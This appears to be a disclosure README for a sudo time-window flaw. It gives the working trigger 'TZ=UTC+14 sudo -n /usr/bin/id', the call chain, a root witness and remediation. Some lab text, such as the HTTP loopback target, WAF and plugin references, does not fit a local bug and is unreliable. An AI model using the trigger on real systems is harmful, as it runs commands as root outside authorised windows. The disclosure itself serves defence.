abraxaslabs.tech  ·  github.com/abraxas  ·  @abraxas_null  ·  CVE-2026-96512

CVE-2026-96512

sudo 1.9.13p3 (Debian bookworm) — Sudo Project

A flaw was found in sudo. When sudoers rules use NOTBEFORE or NOTAFTER time-based access restrictions with timestamps that omit the trailing Z timezone indicator, the time evaluation relies on the TZ environment variable inherited from the calling user.

Advisory (from the source map)

plugins/sudoers parse_gentime / gram.y timespec. Fix sudo-project/sudo@1820a34 copies environ off envp and unsetenv TZ.

Entry

• Method: LOCAL
• Path: TZ=UTC+14 sudo -n /usr/bin/id
• Router: Authenticated local sudoers policy. parse_gentime() mktime() on NOTAFTER without Z. TZ inherited from the sudoers subject.
• Notes: CVE-2026-96512 CWE-863 sudo 1.9.13p3. Witness: uid=0(root) with TZ=UTC+14; denied without TZ. Not a reverse shell. Local PR:L only.

Call chain

• sudoers: labuser ALL=(root) NOPASSWD: NOTAFTER=<now-1h no Z> /usr/bin/id
• labuser sudo -n /usr/bin/id -> denied (expired)
• TZ=UTC+14 sudo -n /usr/bin/id
• parse_gentime mktime honors POSIX TZ=UTC+14
• NOTAFTER epoch shifts +14h; command allowed as root

Lab preconditions

• sudo 1.8.20 through 1.9.17p2
• a sudoers rule for the attacker with NOTBEFORE or NOTAFTER and no trailing Z

Witness

Without TZ: sudo -n id denied. With TZ=UTC+14: uid=0(root).

Not success

• root without TZ (rule still valid)
• remote network access
• reverse shell

Patch / remediation

Do this first: Update sudo to main commit 1820a34 (no upstream release yet) or newer.

Verify after upgrade

• Re-run CVE-2026-96512-Abraxas-Labs.py against the patched build: the mapped witness must not appear.
• Confirm the vendor advisory / changeset in the deployed tree (see references).
• A WAF signature is delay, not a patch.

If you cannot update immediately

• Disable or isolate the affected component.
• Hunt for the witness condition on production (new privileged users, unexpected files, injected rows — whatever this CVE's map names).

Reproduction (authorized lab)

Target only http://127.0.0.1:8088 (or the loopback you bound). Do not point this script at the internet.

python3 CVE-2026-96512-Abraxas-Labs.py

Success is the witness above in the response body. Generic 200 HTML is not it.

Lab images

Loopback stack used to reproduce. Official images unless a Dockerfile in this folder builds from source.

• lab/docker-compose.yml
• lab/Dockerfile

cd lab
docker compose up --force-recreate

Bind the vulnerable product tree next to Compose if the YAML mounts a local directory (plugin zip / source tag from the version table). Publish nothing except 127.0.0.1.

References

• CVE-2026-96512 · NVD

• CVE-2026-96512 · CVE.org

• access.redhat.com/security/cve/cve-2026-96512

• http://www.openwall.com/lists/oss-security/2026/09/24/4

• github.com/sudo-project/sudo/commit/1820a349687522f51023d1ae5925125f59679a8c

• www.cve.org/CVERecord?id=CVE-2026-96512

• access.redhat.com/security/cve/CVE-2026-96512

• Abraxas Labs: abraxaslabs.tech · github.com/abraxas · @abraxas_null

Records (structured)

# CVE-2026-96512

CWE: CWE-863
CVSS: High 7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Red Hat).

## Description

sudoers `NOTBEFORE`/`NOTAFTER` timestamps without a trailing `Z` are converted with `mktime()`, which follows the caller’s `TZ`. A local user who is already named in such a rule can shift the window by up to ~25 hours (POSIX `TZ=UTC+14`) and run the allowed command outside the intended period. PAM authentication is unchanged.

## Product

sudo 1.9.13p3 on Debian bookworm (upstream 1.8.20–1.9.17p2). Fix in main `1820a34`; no upstream tarball yet at disclosure. Lab oracle is `uid=0(root)` via TZ, not a shell.

License

This disclosure pack is licensed under the GNU Affero General Public License v3.0. See LICENSE.

Disclaimer

This pack is for the vendor, the site owner, and licensed labs. The script talks to 127.0.0.1. Using it against systems you do not own is not authorized by Abraxas Labs. No warranty.

abraxaslabs.tech · github.com/abraxas · @abraxas_null